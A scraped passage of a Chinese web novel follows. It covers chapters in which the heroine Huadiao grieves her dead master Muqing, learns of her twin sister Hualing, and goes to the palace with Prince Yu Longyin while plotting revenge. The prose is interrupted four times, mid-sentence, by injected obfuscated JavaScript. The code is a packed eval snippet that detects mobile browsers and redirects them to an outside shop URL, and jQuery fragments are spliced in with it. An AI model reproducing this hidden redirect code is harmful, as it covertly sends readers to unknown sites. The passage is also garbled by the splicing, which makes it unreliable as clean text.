“你娘爱上了你师父?然后有了你,最后你娘难产了,只留下你和你爹在人间,你爹不想认你,所以让你叫他叫师父?”林青筱脑补了一个狗血的剧情,还自认为猜中了开头和结局,希望得到求证。 “鬼丫头你想什么呢!我娘在我五岁的时候就走了,我都记不起来她的样子,是师父后来收留了我,我称他为师,他有个很好听的名字——慕卿,我给他起了个外号叫磨精。” “慕卿,可是师父你,不也是叫慕卿吗?” “是啊,师父曾说,名字是这个人活在世上的象征,我如果改成了他的名字,就好像他还在这个世界上,一直在我身边一样。” 花雕已经死了,只有慕卿还真切地活着。 “我不知道他多少岁,他是空山谷的药人。起初我很羡慕他,羡慕他不老的容颜,羡慕他吹弹可破、嫩如凝脂的肌肤,羡慕他总是受伤了能第一时间痊愈,后来我才知道,原来那些东西,于他而言,是怎样的一种苦楚。” “那他后来呢?”林青筱啃着随身携带的玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598194|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米棒子,翘着二郎腿,满脑子的八卦虫在作祟,跟听书似的追问着花雕。 师父的师父真的是传奇人物啊,要是她也能有那么棒的经历,该多好啊,每天刀光剑影,躲追杀,一柄长剑恣意潇洒,啧,想想就很棒。 “死了。”花雕面无表情答道。不知道从什么时候起,慕卿开始学会了撒谎,一次又一次骗她,花雕当初天真地以为赵泽毅真的能救他,不然花雕肯定是不会弃慕卿而去的。 花雕一个人在山上待久了,连路都不怎么认得了,林青筱倒也贪玩聒噪,隔山差五地寻了理由拉着花雕去山下。有林青筱在,花雕的酒肆一切打点得都不错。 林青筱不似她当初那般懒散,是个上进的徒弟。花雕从不会主动要慕卿教她什么,林青筱不一样,得了空就找她扒这扒那,生怕有什么是自己学不会的。 看着林青筱忙碌的身影,花雕想,要是自己当年能有这般,该多好啊。说不定,慕卿就不会死,赵泽毅说慕卿最后只有两年寿命可以活,最后那两年一定会在望南山上过得很开心吧,不留任何遗憾。 悔不当初啊,是她害了慕卿。 如果,时光倒流,慕卿已经知道了他们的结局,还会跟缩在墙角的她问一句“饿吗”?会朝她伸去温暖的大手掌吗?会选择像行囊一样,把她带在身边吗? 会……最后选择救她吗? 花雕记得,那个人不善言辞,也不会安慰人,却总在她难过的时候守着她,用他温暖的大手抚摸着她的头,偶尔会说一句:“别难过了,有我呢。” 一句有你,便是无限心安。 在每个蛊毒发作的夜晚,慕卿首先想到的却是她的安全,将她拒之千里。 每每路过集市,慕卿总会逛遍所有的小食铺,给她买一袋袋的零嘴,只因为花雕喜欢。如今想来,那些冰糖葫芦的甜,那些梅子的酸,那些桂花糕的香,至今都弥漫在舌尖,久久挥散不去。 好后悔,要是能重来一遍,不辜负师父的苦心,能好好学酿酒,不惹他生气,该有多好啊。 慕卿说,自己除了酿酒,也没别的了。所以,他曾在这桃花林下,埋了十八壶酒,每一壶,都是极品,是他给花雕的嫁妆。 慕卿说,以后要去保护自己在意的人。 可那个护花雕周全的人啊,就是她想保护的人呐。慕卿曾伴她朝朝暮暮,他们行过河山万里,赏过潋滟苍穹,只是现在,他人呢? 花雕想着想着,面前的景色又斑驳了几分。 日复一日,花雕也不知道过了多久,只是那些株桃花生命格外地顽强,顶着折了的枝依旧开得旺盛,开了又落,落了又开。终于在某天,花雕觉得自己已倾囊相授,再也无可教的时候,赶林青筱下了山,美其名曰“出师”。 林青筱该有她自己的生活,而不是陪着花雕,窝在这个山旮旯里一辈子。 花雕又回归到一个人,日子过得比过去的慕卿更单薄——她甚至都不需要辗转。酿酒、听着铺里的酒客谈论外面的世界风云变幻,仅此而已。 外面的世界与她何关?纵然世间万紫千红,花雕早没了任何念想,因为属于她的那一份风景,早已溘然远逝,从那以后,万紫千红于她而言,皆是过眼云烟。 直至遇见许夜祈。 53. 双生13 林青筱走后,花雕又回归到了一个人的日子,独自酿酒,独自喝酒,也开始捡起了被丢掉的剑,隔三差五比划两招。 慕卿的“归去”被她锁在铜箱里安稳睡着大觉,也不曾拿出来见过天日,她怕她看一次伤心一次,就索性不去看它。 然而一个人呆久了,就容易伤感,也容易胡思乱想,花雕偶尔还会想起慕卿,眼泪就像断了线的风筝,根本招架不住。 时间如白驹过隙,花雕也不知道过了多久,望南山上的“鬼”也没了影子,越来越多的人开始来她的小酒馆坐坐。 有上山打柴的樵夫和打猎的渔夫,他们不懂得风月,喝酒于他们是一种酣畅淋漓的豪迈;也有四处游荡的漂泊诗人,他们的字里行间都是故事,花雕听来打发寥寥时光;更有山下村庄嬉笑玩闹的孩童,他们不喝酒,故花雕不止卖酒,也卖淡茶。 至于小菜,也没太多,半碟子油炸花生米,一根拍黄瓜,二两酱牛肉,便是全部。若想要其他的下酒菜,还得自己带,只因花雕也不喜下山,她一个人,也拎不了太多重物,负责配货的店家也不太爱来她这儿,毕竟这半山腰路难走,采购量也不大,是个辛苦活。 当然,除了喝酒的人,也有人上山想要听她的故事,那个人便是许夜祈。 许夜祈第一次看到花雕,是一个风雪簌簌的晨,本来想着慕名来买两杯酒喝,却看见那个跟花伶容貌相似的女子,出口便问:“花伶?” 声音里夹杂着几分不确定,她们虽然长得像,精气神却完全不同,花伶阳光积极,面前的女子却是一股子阴郁,像是冬日里发霉的青苔,永远都干不了的那种,难不成这几年未见,花伶是彻底变了心性? 花雕闻言,愣了一下,这是谁?跟她又有什么关系? 不过问她名字的人多了去了,多到花雕能面不改色心不跳地答道:“慕卿。” 许夜祈却也不拐弯抹角,直击她心痛处:“胡说,谁不知道,慕卿早就死了,你就是个冒牌货。” 许夜祈虽知道慕卿死了,山上的女孩也自称慕卿,虽不是本尊,但听说她酿的酒也是极好的,并没有挂羊头卖狗肉的意思,还是想来尝试一下她的酒,没想到却见着了一张故人的面容。 酒还未盛,却被他一语戳破,不留情面。花雕怒从心起,把酒杯摔在桌上,只见里面的酒因为溢满而洒出,下意识就想赶人:“小店今天打烊了,还望先生折返。” 只料她是有事,许夜祈并没意识到自己话中的不对,彬彬有礼道:“那姑娘早些休息,鄙人明日再来拜访。” 说罢,便很自觉地起身离去。花雕心想,他大概会察觉到自己不受待见,不会再来了吧。 那个人的突然出现,让花雕一直生着闷气,忧思到半夜才睡,因为困倦便起得晚了些。 不曾想,第二天,日上三竿的时候,推开酒馆门一看,那人正笔笔直直地站在门外。 一看到是他,花雕心中升腾起一股无名怒火,正欲关门。 不做了不做了,瘟神驾到,大不了今日关门肄业! “唉,别别别。”来人慌了,赶忙用手去拦她,却被她正要关掉的门狠狠地夹了手。 许夜祈暗暗吃痛,看着自己手掌上斜成一条的红紫,有些惊愕。明明素不相识,这个姑娘却下如此狠手,这让许夜祈更加觉得,她跟花伶有着分不开的关系,下定决心要问出一二来。 “唉,姑娘,那个……” 花雕满脸写着不开心,又把柴扉往自己这边拢了拢,言行举止中无不透漏着,姑娘我不欢迎你,你快点走。 只是来人似乎领会不了她的意思,还用另一只手拨开门缝,钻了空子就往屋里挤。还自顾自找了张桌子坐下,拿起了边上的一个酒坛子。 气人!真的气人!这个人,大概是魔鬼吧!花雕无语,人家脸皮厚,她能拿他怎么办? 四目相对,尴尬无言,花雕坐在许夜祈对面,看着他自饮自酌,二人一言不发。 尴尬,空气中弥漫着大写的尴尬。 花雕纳闷,奇了怪了,今天怎么就没人来她的酒铺呢! 其实,大清早就已经有人来过了,只是当时她还在梦寐之中,来人以为她今日不营业,便下山宣导了一番,于是,花雕的铺子今天就凉了…… 猜到了慕卿可能跟眼前的女子有些关系,自己才处处吃瘪,一杯下腹,终究是许夜祈先开了口:“慕卿的死,跟我们日辄国有关,我知道你不待见我,可是我就想知道,花伶她现在怎么样了。” “没有!不知道!不认识!” 一连三个感叹,把许夜祈怼得一愣一愣的,他还未说任何,怎么面前的女孩子就这么大的火气? 许夜祈不知道,花雕光是听到“慕卿”这个名字,心中就像燃起了一簇小火苗似的,现在他又加上一个“死”字,她心中的怒火,肆无忌惮地燃烧得更旺,似无止息。 花雕本来以为,那个人走了那么久,心中早已放下了关于他的一切,事实却并不如此。 师父,我该怎么办?花雕心中欲哭无泪,却又在一瞬间冷静下来。等等,他刚才说,慕卿的死,跟日辄国有关?看来是知道些什么内幕了。 “慕姑娘,咱们有话好好说嘛,你能不能不一上来就冲我发脾气,女孩子,发多了脾气可不好,会长皱纹的。”许夜祈见她面上的表情稍微舒缓了些,又好言相劝道。 “花伶是谁?我叫花雕。”花雕也不急于打探消息,想着一点点的把许夜祈往话题上靠,徐徐图之,免得问得猝不及防。 “花雕?花凋?女孩子家家的,叫这个名字寓意可不好。”许夜祈摇头,笑道。 好不好用得着一个外人置喙?师父起的名字,就算是“如花”“美丽”,也是好的!花雕不知道他在笑什么,反问道:“怎么,作为慕卿这辈子唯一的徒弟,用他的得意之作当名字都不可以了吗?” “……”许夜祈没想到,这个女子真的还跟慕卿有些关系,原以为她只是盗名欺世,良久,才说道:“那自然是可以的。” “你说慕卿之死跟日辄国有关系,那你说,慕卿是怎么死的?”打死花雕也不会想到,她面前的人就是她仇人的弟弟,要是知道了,许夜祈根本不会安稳坐在这里了。 “他是自杀的,我亲眼所见,服毒身亡。”许夜祈想着,就算没有许未缪的补刀,那慕卿服了那么多毒,肯定也是活不了,故而特地省去了许未缪丧心病狂地捅慕卿刀子的事实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598195|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花雕看他答得面不改色心不跳,冷哼了一声:“要不是那病得要死了的许未缪逼着他,他会自杀?” “是花伶告诉我的,他的血可以治病,可我们却没想要他的命。” “那你肯定是被她骗了。匪贼行径,却还说得大义凛然。”什么普度众生,救人性命,纯属胡扯,救人的方法千千万,为什么偏偏要选这么极端的一种。 如此看来,这个花伶肯定不是什么好人,初心积虑想要害慕卿。 许夜祈倒是好奇,她们长得真的像是一个模子里刻出来的,“她和你长得很像,十有八九的相似。你难道不想知道,她经历了些什么,这些又跟你有什么关系?” “不想,没兴趣,你走。”她为什么要去了解一个仇人的消息?可花雕听他说着说着,不禁想起来了这世界上还有一张和自己一模一样的脸——她的姐姐。她们是双生子。 花雕大概地理清楚了几者之间的关系,就是说,当初那个初心积虑要害慕卿的人,也有自己的亲姐姐一份,这让她觉得十分讽刺,煮豆燃豆箕,互相伤害真的有意思吗?可毕竟是情同手足,已死之人不能复生,花雕最后居然有点释怀了。 许夜祈还不死心,又追问了一句:“你跟花伶是什么关系?” 好歹礼尚往来,自报家门吧兄弟,我连你是谁都不知道呢,花雕睨了他一眼:“我连你是谁都不知道,为什么要跟你讲这些?” 许夜祈意识到是自己唐突了,赶忙自报家门:“在下许夜祈。” 花雕久居西梁未外出,也未曾关心他国风云诡谲,根本不知道许夜祈是日辄国国君之子,以为他就是一个普普通通的路人名字。 见来人一直很客气,倒显得她无理取闹了,花雕消了消火:“我不知道她跟我什么关系,我也不知道她为什么要害我,明明,我都没见过她。” “无冤无仇的,她为什么要针对我啊。本来我和师父好好的,她为什么要出现啊。”满腹的委屈,无人诉说,突然出现的一个聆听者,让花雕卸下了所有防备。 许夜祈安慰她:“傻丫头,其实这些年来,她又何尝是容易的。从花伶到花二爷,她也受了不少的苦。” “我不听我不听,我不管,她要把师父还给我。” 要是没有这个女人,师父估计现在还是好好的,老实说,释怀归释怀,可花雕不想再看见花伶,也不想和她相认,如果见着了,她们还是当陌生人的好,毕竟,她还是放不下慕卿的死。 “她……不见了……” “那天,我去接柔竺回家,花伶邀我去看戏,可我没想到,这却是我们见过的最后一面。那以后,我再也没见过她。” “所有人都叫她花二爷,我知道,她其实是个女孩子。” 许夜祈和花雕一样,都是陷在回忆里出不来的人,见花雕对他的故事不排斥,许夜祈哗啦哗啦说了好久。 许夜祈没有跟她说,他想见花伶一面,想知道她过得好不好,以一个故人的身份。柳源戏班着火后,花伶不知所踪,没了顶梁柱,一场火又烧得柳源戏班人心涣散,沈佳期不得已,只好解散了戏班。 什么花二爷,什么柳源戏班,到头来,都只是过眼云烟,一曲佳期如梦罢。 54. 酒尽桃花凉19 两个人把彼此视为知己,对侃了好久,直到夜幕垂下来,许夜祈才仓皇告辞,他其实把自己的感情藏得很深,他没有告诉花雕,其实他也是爱慕着花伶的,不是一见钟情的那种喜欢,而是见色起意的贪恋。 许夜祈走后,花雕听着雪落的声音,思绪久久不能平静,又开始被那种满目满目的悲伤所沉溺,眼睛里就像进了沙子一样,只要想起慕卿,就有说不清楚的酸楚感。 想起那个叫花伶的素未谋面的姐姐,花雕觉得自己更可悲了,花伶既然知道她的存在,不主动出来认她也就算了,为什么还要害她?她们本应该是情同手足的,最后为何要落得反目成仇的下场? 整个冬天,花雕都过得浑浑噩噩的,没有出山去采购物资,时有算错了账、加错了料、拿错了酒的事情发生,多数酒客都看得出来她有心事,也不怪她,还意欲开导她一番,可花雕从不与任何人分享她的这一段爱恨纠葛——本来就是自己的悲喜,说给别人听,他们也帮不上什么忙,不过是戏外看客,多了些嚼舌根的料罢了。 望南山的桃花又开了,一团团,一簇簇,白的粉的,像是粉雕玉琢的上了妆的姑娘,煞是好看。 这么久过去了,花雕的心情依旧是平复不下来,满山桃花,每一朵都像是他,朵朵都眷着思念。花雕看得泪眼迷蒙,气愤地抄起剑就往一棵桃枝上劈去。 她也气花伶,一个明明名利双收的女子,为什么要在普普通通的她的生活里插一脚?花伶她明明有那么多人爱,那么多人欣羡,为什么却还不知足? 更多的是气自己,怎么可以这么蠢?不过是一套《十音诀》,这么久还是没有领会其中精髓。 一棵又一棵,不少桃树上的桃花被她砍烂,枝桠也被她尽数削断,遍地狼藉,原本唯美的桃花林,变得满目疮痍。 却还不解气,又开始砍树干,最后大半个月过去,桃树是没砍完,剑倒是被她砍钝了十几把。 这天,花雕又像往常一样,一边练剑一边砍树,终于旁边有一个看不下去的男子出了声。 “小丫头片子,年纪轻轻的,哪来那么多怨气?”来人脚踩金缕靴,腰间环珏配玉,走起路来身上发出“叮当”响,浑身上下就散发着“老子有钱”的贵族气质,猜身份,定是非富即贵。 哪来的登徒浪子,扰人清净。花雕讨厌那些有权有钱之人,他们往往仗着身上有点子家底,便开始作威作福,欺人太甚,打心底里有些瞧不上这些纨绔子弟,并不给他好脸色,于是瞟了他一眼:“我在练剑,与你何干?” 玉龙吟轻笑道,与其说是练剑,不如说是拿这满山的桃花出气,却也不拆穿她,而是调侃道:“如此说来,姑娘定是剑法高超了?” 花雕仍是不理他,只顾闷头砍树,不过一分钟,眼前顶着繁花的桃树,已经秃了顶。 见她沉浸在自己的小世界里,丝毫不理会自己的存在,玉龙吟试图在一旁刷存在感:“我有一妙计。” 花雕听见了,可面上仍是一副没听到的样子,心里想的却是:没兴趣,不想听,你走。 玉龙吟暗暗感慨,姑娘你收手吧,可别再暴殄天物,折煞了这良辰美景。 见她手中顿了顿的剑,玉龙吟知道她有在听自己讲话,紧接着提议道:“离这不远处有个村子,近来闹熊灾,村民们深受其害,我看姑娘也为一代女中豪杰,不如我们去除了那熊,给周边百姓谋福祉,你看如何?” 花雕并没有立马拒绝,想着好歹是个活物,可以试试最近剑术有没有进步,颔首道:“如此甚好,正合我意。” 那是半年里花雕第一次走出望南山,那天的阳光正好,风很和煦,如同玉龙吟面上的笑。 狗熊饿了一个冬天,正是出山觅食的日子,附近农户养的鸡鸭惨遭其毒手,庄稼也被踩得一塌糊涂。两人循着熊的足迹,找到了它的老巢,用半窝蜂蜜把熊钓了出来,并且约定,如果谁能先从狗熊的身上拔下一根胡子,谁就是胜者。 花雕性子纯,也不懂什么“螳螂捕蝉,黄雀在后”的道理,抄了剑冲上去就展开拳脚跟那头狗熊厮杀,而玉龙吟则立在一边看着,全程面露出姨母笑。他既然敢喊花雕来,心中自然是有把握的,无论是除掉狗熊还是护她周全,可他并不着急动手,只想消磨一下花雕的战斗力,那个姑娘心中一定有无处发泄的愤懑吧,留在这里为民除害总比霍霍桃花要好。 眼看着她落了下风,玉龙吟拾起地上的一个小石子,朝那狗熊的下腿打过去,那狗熊站立不稳,颤颤巍巍几步,攻势顿时没了那么凌厉,让花雕逆转了不利的局面。 一人一熊大战几百个回合后,同时累趴了,到最后,花雕连伸手去拔狗熊胡子的力气都没有了。 见狗熊瘫软在地上如同一摊烂泥,玉龙吟走上前去,直接就扯了狗熊的胡子,在花雕面前比划着,脸上一副得逞的笑容。江湖儿女,本来多的就是豪迈,花雕愿赌服输,赠了他几坛子酒,还颇为认真地告诉他,这酒名“红尘”。 为什么要给酒起名字?因为这是离了慕卿以后,花雕参照着他留下的古籍,独自酿的第一批酒,当然得起个名字纪念一下了。 玉龙吟此番出宫,是为了体察民情,恰好听说了附近的村庄闹熊灾,本想着前去为民除害。但又听说了耿安的望南山上,有个很有名的酿酒师,叫慕卿,恰好他路过此地,便想前去拜会一番,顺便在出发前喝点酒助兴。 原本以为是个饱经沧桑把生活酿进酒里的半百老人,四处打听上了山,却发现自己想多了,哪里有什么老者,只有一个丁点大的丫头片子,眨巴着眼睛跟他说:“我叫慕卿。” 玉龙吟坐在她的小酒馆里,“咕咚咕咚”地抱着那几坛子红尘喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598196|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,只觉得果然是名不虚传,却又是止不住地好奇:“那满山的桃花,与你有何恩怨,值得你如此大动干戈?” 又是斗狗熊又是送酒的,本来有个人能陪花雕说说话,她也没怎么想慕卿的事,一听玉龙吟这么问,伤心事又涌上心头,眼泪唰地一下就掉了下来。 玉龙吟见状,得知自己说错了话,也不避讳,像安慰自家的妹妹一样,把花雕揽在怀中,拍拍她的肩,又说各种好话道理哄着,什么“女孩子把自己哭丑了就不好看了”、“不哭了就带你下山去买好吃的”,怀中人才慢慢地安静下来。 本着“心怀天下,救苍生为己任”的理想,玉龙吟觉得自己有必要救一下眼前这个满心愤懑无处发泄的抑郁悲观少女,就说到做到,真的带花雕下了山。 山下好吃的好玩的自然是数不胜数,名扬四海的酒楼大厨,九州之内的琳琅珍宝……玉龙吟本就家缠万贯,也舍得为她花钱,又会哄人,自然是逗得花雕很开心。 寻思着她的酒好,却也没什么配酒的菜,又打包了大包小包的吃食,也不管花雕同意不同意,不由分说地给她带了回去。 为什么会对一个陌生的女子那么好?玉龙吟想了想,可能是因为慕卿酿的酒,很合自己的胃口吧。再者,他也心善,见不得女孩子哭,在玉龙吟心里,他可是要成为治国理政的栋梁之材的,一个爱哭的女孩子这点小事都处理不好,又怎么去处理天下的诸多大事呢? 花雕以为玉龙吟买的大包小包是在路上的储备,却没想到他把货物都卸在了自己的酒铺里:“我不要,你对我这么好,我也没有什么回报你的。” 本来吃人嘴短,花雕今天在酒楼就是他请客吃的饭,现在还拿人东西,手也短了。 “你不是还有‘红尘’嘛,用来交换。”玉龙吟倒是觉得无所谓,开玩笑地说道。 “那个,红尘是我最开始酿的酒,留作纪念的,我后来还有更好的酒……”花雕说着,正准备朝酒窖走去,却被玉龙吟一把拉住:“不用了。” “嗯?”花雕不解,去看他面上的神情,是那种含着笑的坚毅,尽管他笑得人畜无害且如沐春风,花雕却怎么觉得,越看越尴尬呢…… 于是视线游走,又把目光移上了他的腰际。 她盯着玉龙吟腰间的两枚玉佩看了好久,明明,之前还对他有那么多偏见的…… 玉龙吟却理解错了她的意思,收回了拉着她的手:“喜欢啊?这是一对,送你一个呀。” 当初打造它们的时候,因为料子有余,工匠索性就打了一对,玉龙吟两枚都很喜欢,又懒得纠结是佩哪一个,索性都悬在腰间了。 也不管花雕同意还是不同意,就摘了一个蓝色配饰的,悬到了她的腰间,还点头称赞道:“嗯,挺配的。” 那以后,玉龙吟依旧日日来花雕的酒肆喝酒。 55. 酒尽桃花凉20 玉龙吟此番计划出宫一年,本该是四处游历,周游各国,丰富阅历,为以后立储做准备。却不曾想,因为这片桃花林里的一个姑娘,绊住了脚步。 他也不知道自己为何会留下来,可能是因为那些酒,可能是因为那个姑娘,总而言之,这种感觉很奇怪。就像他也不知道为什么会喜欢喝酒一样,明明是辛辣冰凉的液体,滚入喉肠,却是另一番滋味。 转眼,一年之期结束,玉龙吟即将回宫。可临别之际,他居然有一点舍不得慕卿,或者说,慕卿酿的酒。 要不,把她也带回宫里?鬼使神差地,这种想法冒进玉龙吟的脑海里,也不知道慕卿会不会答应…… 酒肆内,玉龙吟坐得端正,犹豫良久,还是开口问花雕:“阿卿,我要走了,你要不要跟我走?” 走?去哪里?花雕听闻他言,蓦地抬头,面上的疑惑一览无余。 见到她面上的疑惑,玉龙吟补充道:“这山上有什么好玩的,除了树还是树,你酿的酒那么好,却也没几个人能喝到,是怪他们没有这个福气呢,还是怪你遮遮掩掩,所以才没有办法扬名立万呢?” 花雕倒是觉得无所谓,浅笑道:“慕卿不想扬名立万,所谓功名利禄,不过是过眼云烟,有什么好眷念的。你想想啊,有一天你死了,就什么都没了,你所有的那些东西,又不能随你而去。” 就像慕卿死了,他的酒,他的剑,他的钱,那些曾属于他的东西,并没有随他而去,反而如今都成为了花雕的囊中之物,生不带来死不带去的。 听她这么一说,玉龙吟呡了口酒,放下酒杯,笑着感慨道:“真是个大彻大悟的丫头,难怪能酿出如此美酒。” 一句话夸了她两次,花雕听着当然开心,口中却是调侃:“我有酒,你有故事吗?” 来这里的人,多数都带着几分愁思,每缕愁思忧虑里,或多或少都包含了一些故事,花雕喜欢在席间听他们说着那些故事,用以打发寥寥时光。 所以她觉得,故事和酒,一直都最配。 花雕也没指望玉龙吟能跟她讲一个惊天地泣鬼神的故事出来。她看出来了,玉龙吟是个无忧无虑的富家公子哥,就从他面上永无止境的笑意中、从他轻快洒脱的言行举止中可以看出来——哪一个心里有事的人会是这样? 玉龙吟还真的认真地想了片刻她所说的“故事”,可他能有什么故事?从小就呆在皇宫里,含着金汤匙出生,不愁吃不愁穿的,父亲是万人之上,母亲是六宫之主,连出生都是优渥至极的,自带了幸运光环。 最后,他索性也不想了,如实跟花雕答道:“没有,皇宫的生活太安逸了,当太子的生活也太安稳。” 然后跟花雕絮絮说着家里的人和事,有几个兄弟姐妹,因为是嫡长子,所以理所当然地当上太子。不过是一介江湖过客,因为志趣相投便在一起多喝了两杯酒,玉龙吟都不知道,自己为什么要跟慕卿说这些。 那头人听着听着眼睛都亮了,赶紧打断玉龙吟:“等等,你说,你是玉霄国的太子?” 花雕心中先前对他“纨绔子弟”身份的嫌弃感一扫而光,可能是他人真的很好,也可能是因为这一年他时常的陪伴。 “嗯。”玉龙吟点头,却被她的吃惊吓了一跳,这丫头,相处了这么多天,早没料到这些吗? 不过,玉龙吟倒是对这个太子位没多大兴趣,也无心去争取什么。皇宫中有才有德的皇子们多了去了,到时候父皇想另立人选,他也没什么话说——本来就都是自家兄弟,为了名位弄得大伤和气多不好。 最后,花雕挽着玉龙吟的臂膀,满心欢喜道:“我跟你走。” 过去慕卿也没怎么教她男女有别之类的,花雕也不懂得芥蒂,把后来她遇见的每个对她好的男人都一定程度上当成了像慕卿般的存在。所以她觉得,她自己这么和别的男人勾肩搭背也是没有任何问题的,玉龙吟却并不这么认为。 想跟玉龙吟走,倒不是对太子妃的位置有多感兴趣,而是每每想起慕卿,便会愈发地憎恶日辄国的那一帮子人,花雕想要他们血债血偿,可是她的力量太微弱,什么都做不到。 起初,花雕只是沉浸在慕卿离去的悲伤中,这种悲伤慢慢地被仇恨所代替,许未缪已死,日辄国的那帮人却还逍遥自在地活着,凭什么慕卿一个好端端的人要成为他们的药?要不是他们,慕卿又怎么会死? 慕卿若是没死,还会有人陪她在望南山赏桃花,会温柔地替她摘下掉落在发上的花瓣,会握着她的手,一招一式地教她练剑,尽管她没有用心去学,会…… 而如今,一切都没有了,就因为那几个觊觎他的人,慕卿身陨乱葬岗,报复之心如同疯长的杂草,一度填满了花雕的内心。 当一个人被仇恨蒙蔽双眼的时候,她会想到的,便只有复仇。花雕不会想到,就算没有日辄国,也会有其他人对慕卿抱有非分之想,他到时候也是四面受敌,结局照样不会乐观。 借玉龙吟的手,杀掉他们,这就是花雕的计划。所以某一方面来说,花雕只是想利用玉龙吟的权位,并不是对他有多么喜欢。 这些玉龙吟却不懂,反而因为一个小举动,误解了花雕,他以为那是喜欢,而刚好,他也爱慕着她。 回宫不过半天,所有人都知道了,外出一年,太子从宫外带回来一个女人,一个会酿酒的叫慕卿的女人。 一个肤白貌美大长腿,长得就像是红颜祸水的女人。 彼时太子妃位也没有敲定,宫里流言四起,说这个慕卿,肯定是太子妃的不二人选。 对立者却不赞同,关键就在于,慕卿她没有任何身家。以往宫里位高权重的女人们,哪一个不是要背景有背景,要身份有身份。 本家权势滔天,皇家和她们联姻,利用好她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598197|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们身后的资源,无疑是如虎添翼,才能巩固好皇家的势力。玉龙吟选了这么个没背景的女人,到时候得不到宫里左膀右臂的绝对支持,无疑是把自己往火坑里推,太子位恐怕不保啊。 花雕也不是没听到这些流言,多数都是不放在心上的,嘴巴长在别人身上,他们爱怎么说怎么说,爱怎么做是自己的事。 玉龙吟也听到了,多半都是不在意的,他本就无心太子位,大不了,这个太子就不当了呗。花雕喜欢酿酒,玉龙吟给她专门腾出一间屋子来酿酒。 花雕依旧是日日酿酒,偶尔闲下来的时候,也会想想怎么对付日辄国的那帮狐狸们。 又是春天。 知道她不喜欢桃花,在她回宫的那天,玉龙吟特地让宫人连夜锯掉了宫里的桃树,因此闲置下来的土地,改植牡丹芍药这类富贵的花儿。 牡丹为木,芍药为草,花虽相似,本质上却是不同的。 某天花雕路过花园,看见花园里的那片大红开得正旺,不由得走近去看,才发现花谢了的是牡丹,仍旧开着的是芍药。明明是草,却要活成花树的模样,真是倔强的花儿,见此景,花雕心里多了几分感慨,也对芍药多了几分喜欢。 美好的东西注定不长久,都是短暂易逝的,为了留住那一片芍药,她也尝试着用芍药酿酒,给它们取名字为“芍红”。 芍药的红渗透进酒里,想法固然是大胆的,但光是颜色就透漏着诡异,宫里敢尝试的人倒是不多,玉龙吟却是极为赏脸,一口气抱走了好几大坛。 偶尔花雕也练剑,看她的剑舞得七零八落,玉龙吟执了她的手,一招一式地教她比划。 身后男子身上的木樨香传来,和慕卿身上浓烈的香不同,这种味道若有若无,极浅极淡,想来是常常熏香,衣带上也沾染了些味道。花雕有时候会去凑近了闻,却什么都闻不见。 玉龙吟不似慕卿,百般护着她,即便是错了也不肯说她两句。一但发现她有错的地方,玉龙吟立马止住,纠正她。 有了玉龙吟的扶持,某个不成器的姑娘终于剑术日渐精益。花雕想,若是有一天不依靠玉龙吟,自己手刃仇人也是极好的,想着想着,心中对于利用玉龙吟的愧疚便少了几分。 两人天天在一起,又因为宫里流言蜚语传得热火朝天的,一来二去,玉龙吟有些坐不住了,问花雕:“阿卿,你当我的太子妃可好?” “好哇。”花雕笑得轻浮,又勾过他的脖子,整个人挂在他身上。 面上是笑着的,心里却是冷的。她才不要跟玉龙吟成亲,她又不喜欢他,等她报了仇,她就离开玉霄国,回到全县去找赵泽毅成亲,也算是遂慕卿的愿吧。 如果说这辈子一定要嫁一个人的话,她希望那个人是赵泽毅,只因为慕卿想让她嫁给赵泽毅。花雕知道慕卿不会害她,所做的一切也是为了她好,所以会无理由相信他。 56. 酒尽桃花凉21 尽管玉龙吟要立慕卿为太子妃的想法是好的,可偏偏事不遂愿,此事遭到了大家的反对,其生母皇后就是第一个站出来的人。 彼时是一场普通的家宴,玉龙吟和众多皇子们同父皇母后宴饮,说着家常话,本来气氛还算融洽,玉龙吟在席间提出要立慕卿为太子妃。 